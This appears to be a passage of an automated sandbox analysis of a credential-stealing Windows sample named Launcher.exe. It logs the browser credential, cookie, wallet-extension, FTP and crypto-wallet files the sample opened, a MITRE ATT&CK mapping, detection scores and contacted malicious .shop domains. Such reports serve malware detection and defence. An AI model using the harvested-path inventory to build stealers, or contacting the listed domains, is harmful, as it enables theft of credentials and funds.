Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior

Source: Yara match

File source: Process Memory Space: Launcher.exe PID: 7044, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Launcher.exe PID: 7044, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	3 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	43 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Launcher.exe	50%	ReversingLabs	Win32.Trojan.CrypterX
Launcher.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://fancywaxxers.shop:443/apial	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/apitPK	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/apir3.default-release/key4.dbPK	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apijaT	100%	Avira URL Cloud	malware
fancywaxxers.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/K	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api~	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apie	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/#	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api0	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/DlJ	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/;	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api9	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	104.21.96.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	false		high
wholersorie.shop	false		high
fancywaxxers.shop	true	Avira URL Cloud: malware	unknown
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://fancywaxxers.shop/api	true	Avira URL Cloud: malware	unknown
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/apial	Launcher.exe, 00000003.00000003.1296626962.000000000303B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop:443/apir3.default-release/key4.dbPK	Launcher.exe, 00000003.00000002.2473225182.000000000303B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518744844.000000000303B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/apie	Launcher.exe, 00000003.00000003.1285753592.00000000030AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/#	Launcher.exe, 00000003.00000003.1305823260.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.	Launcher.exe, 00000003.00000003.1285808900.000000000306C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240048261.000000000305C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518656985.00000000030A4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473429917.00000000030A6000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1296886962.000000000306B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1296626962.0000000003056000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240150298.000000000306D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1284751333.0000000003056000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/apitPK	Launcher.exe, 00000003.00000002.2473225182.000000000303B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518744844.000000000303B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api~	Launcher.exe, 00000003.00000003.1285753592.00000000030AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/apijaT	Launcher.exe, 00000003.00000003.1518869761.000000000306C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473429917.000000000306C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/K	Launcher.exe, 00000003.00000003.1285753592.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api0	Launcher.exe, 00000003.00000003.1251614310.00000000058F0000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1251540668.00000000058F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/DlJ	Launcher.exe, 00000003.00000003.1240048261.000000000305C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240150298.000000000306D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
